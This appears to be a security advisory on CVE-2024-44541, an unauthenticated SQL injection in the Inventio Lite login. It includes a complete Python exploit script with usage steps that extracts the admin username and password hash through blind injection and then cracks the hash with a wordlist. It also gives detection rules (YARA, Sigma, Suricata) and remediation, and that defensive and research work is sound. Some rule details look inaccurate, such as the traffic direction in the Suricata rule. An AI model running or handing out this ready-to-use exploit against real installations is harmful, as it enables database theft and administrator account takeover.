CVE-2024-44541

Executive Summary

CVE-2024-44541 is a critical SQL Injection vulnerability discovered in the username parameter of the login functionality (/?action=processlogin) in Evilnapsis Inventio Lite versions 4 and earlier. The vulnerability allows an unauthenticated attacker to perform error-based blind SQL injection, enabling extraction of sensitive data such as administrator password hashes. The hashes are computed using sha1(md5($password)), which can be cracked offline. A public exploit script is available on Exploit-DB, demonstrating full compromise of the application. No patch has been released by the vendor, leaving all installations of Inventio Lite v4 and below at risk.

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a standalone PHP application.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Potential to modify data via SQL injection.
• Availability (A): High (H) – Could lead to denial of service or data destruction.

CVSS Score: 9.8 (Critical)

Threat Level: Critical – Immediate action required.

Deep Dive & Mechanics

The vulnerability resides in the processlogin action, where the username parameter is directly concatenated into SQL queries without sanitization or parameterized statements. The application uses MySQLi, but the code does not employ prepared statements, allowing an attacker to inject arbitrary SQL.

The exploit leverages error-based blind SQL injection. By injecting a payload like ") or username LIKE '<USER>' and password LIKE '<STR>%' and is_admin=1 LIMIT 1-- -, the attacker can brute-force the administrator password hash character by character. The application returns a redirect to index.php?view=home when the condition is true, enabling a boolean-based blind extraction.

The password hashing mechanism is sha1(md5($password)), which is weak and susceptible to dictionary attacks. The public exploit uses the rockyou.txt wordlist to crack the hash.

Vulnerable vs. Patched Code

Vulnerable Code (Inventio Lite v4):

// In processlogin.php
$username = $_POST['username'];
$password = sha1(md5($_POST['password']));
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $query);

Patched Code (Recommended):

// Use prepared statements
$stmt = $conn->prepare("SELECT * FROM users WHERE username=? AND password=?");
$stmt->bind_param("ss", $username, $password_hash);
$stmt->execute();
$result = $stmt->get_result();

No official patch exists. The above is a recommended fix.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy Inventio Lite v4 on a local server (e.g., XAMPP on Windows or LAMP on Linux).
2. Ensure the application is accessible at http://192.168.1.51/inventio-lite/.
3. Use the provided exploit script.

Exploit Execution: The exploit script performs the following steps:

1. Checks if the target is vulnerable by sending a test payload.
2. Extracts the administrator username via blind SQL injection.
3. Extracts the password hash (SHA1 of MD5) character by character.
4. Cracks the hash using the rockyou.txt wordlist.

Full Exploit Code (from Exploit-DB):

# Exploit Title: Inventio Lite 4 - SQL Injection
Error Based SQLi in "username" parameter on "/?action=processlogin."
# Date: 08/21/2024
# Exploit Author: pointedsec
# Vendor Homepage: http://evilnapsis.com
# Software Link: https://github.com/evilnapsis/inventio-lite
# Version: < 4
# Tested on: Linux, Windows
# CVE : CVE-2024-44541
# This scripts exploit this vulnerability, extracting the hashes from database and tries to decrypt it.
# The passwords are hashed like this: $pass = sha1(md5($_POST['password']));

import requests
import signal
from pwn import *

BASE_URL = "http://192.168.1.51/inventio-lite/"
PWD_DIC_PATH = "/usr/share/wordlists/rockyou.txt"
LOGIN_ACTION = BASE_URL + "?action=processlogin"

# Handling Ctrl + C
def def_handler(x,y):
    log.failure("Quitting...")
    exit(1)

signal.signal(signal.SIGINT, def_handler)

def is_vulnerable():
    log.info("Checking if target is vulnerable")
    payload = {
        "username": "\") \"",
        "password": "\") \""
    }
    r = requests.post(LOGIN_ACTION, data=payload)
    if (r.status_code != 200 or "Uncaught mysqli_sql_exception" in r.text):
        return True
    else:
        return False

def get_administrator_hash(username):
    prog_hash = log.progress("Extracting Admin Password Hash")
    replace_payload = "\") or username LIKE '<USER>' or email LIKE '<USER>' and password LIKE '<STR>%' and is_admin=1 LIMIT 1-- -".replace("<USER>", username)
    characters = "abcdefghijklmnopqrstuvwxyz0123456789"  # SHA(MD5(PASSWORD)) so there are no symbols and no uppercases
    admin_hash = ""

    while True:
        found_char = False
        for char in characters:
            payload = {
                "username": replace_payload.replace("<STR>", admin_hash + char),
                "password": "blablablbalbablalba123@"
            }
            try:
                r = requests.post(LOGIN_ACTION, data=payload)
                r.raise_for_status()
            except requests.RequestException as e:
                log.error(f"Request failed: {e}")
                continue

            if "<script>window.location='index.php?view=home';</script>" in r.text:
                admin_hash += char
                prog_hash.status("-> %s" % admin_hash)
                found_char = True
                break

        if not found_char:
            break

    prog_hash.status("Final Admin Hash: %s" % admin_hash)
    return admin_hash

def get_administrator_username():
    prog_username = log.progress("Extracting Username")
    replace_payload = "\") or username like '<STR>%' or email like '<STR>%' and is_admin=1 LIMIT 1-- -"
    characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789@."
    username = ""

    while True:
        found_char = False
        for char in characters:
            payload = {
                "username": replace_payload.replace("<STR>", username + char),
                "password": "blablablablbalbla123@"
            }
            r = requests.post(LOGIN_ACTION, data=payload)

            if "<script>window.location='index.php?view=home';</script>" in r.text:
                username += char
                prog_username.status("-> %s" % username)
                found_char = True
                break

        if not found_char:
            break

    return username

def decrypt_password(admin_hash):
    # Encryption is SHA1(MD5(PWD))
    with open(PWD_DIC_PATH) as password_file:
        for password in password_file:
            password = password.strip()

            md5_hash = hashlib.md5(password.encode()).hexdigest()
            sha1_hash = hashlib.sha1(md5_hash.encode()).hexdigest()

            if sha1_hash == admin_hash:
                return password

        log.error("Password not found in the dictionary.")
        return None

if __name__ == "__main__":
    # Check if target is vulnerable
    if not is_vulnerable():
        log.failure("Target not Vulnerable...")
        exit(1)
    log.success("Target Vulnerable!")
    log.info("Dumping Administrator username...")
    admin_username = get_administrator_username()
    admin_hash = get_administrator_hash(admin_username)
    pwd = decrypt_password(admin_hash)
    log.success(f"Password Decrypted! -> {admin_username}:{pwd}")
    log.info("Try to Log In with that username, if that doesn't work, try with some uppercase/lowercase combinations")

Usage:

1. Save the script as exploit.py.
2. Install dependencies: pip install requests pwntools.
3. Run: python exploit.py.
4. The script will output the administrator username and cracked password.

Blue Team

Detection:

• Monitor for repeated login attempts with unusual payloads containing SQL keywords (e.g., OR, LIKE, --).
• Look for HTTP requests to /?action=processlogin with long username parameters.
• Alert on error messages containing mysqli_sql_exception.

Hunting:

• Search web server logs for patterns like username=\") or username=*LIKE*.
• Correlate with failed login attempts followed by successful admin logins.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /?action=processlogin with username parameter containing SQL injection patterns.
  • Responses containing Uncaught mysqli_sql_exception or window.location='index.php?view=home'.
• File System:
  • Modified processlogin.php file (if attacker attempts to backdoor).
  • Unauthorized admin accounts in the database.
• Logs:
  • Web server logs showing repeated username parameter variations.
  • Database logs showing unexpected queries.

Detection Engineering

YARA Rule

rule CVE_2024_44541_Inventio_SQLi {
    meta:
        description = "Detects exploit attempts for CVE-2024-44541 SQL injection in Inventio Lite"
        author = "Valters IT"
        date = "2024-08-21"
        reference = "https://www.exploit-db.com/exploits/52000"
    strings:
        $sqli1 = "username=\") or" ascii nocase
        $sqli2 = "username=*LIKE*" ascii nocase
        $sqli3 = "username=*LIMIT*" ascii nocase
        $sqli4 = "username=*-- -*" ascii nocase
        $sqli5 = "action=processlogin" ascii nocase
    condition:
        any of ($sqli*) and $sqli5
}

Sigma Rule

title: CVE-2024-44541 SQL Injection Attempt
id: 8f4b3c2a-1d5e-4f7a-9b8c-0d1e2f3a4b5c
status: experimental
description: Detects SQL injection attempts targeting the username parameter in Inventio Lite login.
author: Valters IT
date: 2024/08/21
references:
    - https://www.exploit-db.com/exploits/52000
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=processlogin'
        cs-uri-query|contains|all:
            - 'username='
            - 'or'
            - 'LIKE'
            - '--'
    condition: selection
falsepositives:
    - Legitimate use of special characters in username (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-44541 SQL Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"action=processlogin";
    http_uri;
    content:"username=";
    http_client_body;
    pcre:"/username=[\x22\x27].*or.*LIKE.*--/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-44541;
    reference:url,https://www.exploit-db.com/exploits/52000;
    classtype:web-application-attack;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application from the internet if possible.
2. Apply input validation – Sanitize the username parameter to allow only alphanumeric characters.
3. Use prepared statements – Rewrite all database queries using parameterized queries (PDO or MySQLi prepared statements).
4. Update password hashing – Replace sha1(md5()) with password_hash() using bcrypt or Argon2.

Long-term Fix:

• Upgrade to a patched version if the vendor releases one. Currently, no patch exists.
• Consider migrating to a different, actively maintained inventory management solution.

Compensating Controls:

• Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
• Enable database query logging and monitor for anomalies.
• Restrict database user permissions to least privilege.

Valters IT Signature: This report was generated by Valters IT – DevSecOps & Cyber Threat Intelligence Division. For questions, contact: Secure Channels (Signal / Portal).

{/* [Security Hash: 14D65715660EC600D86EF5B0] */}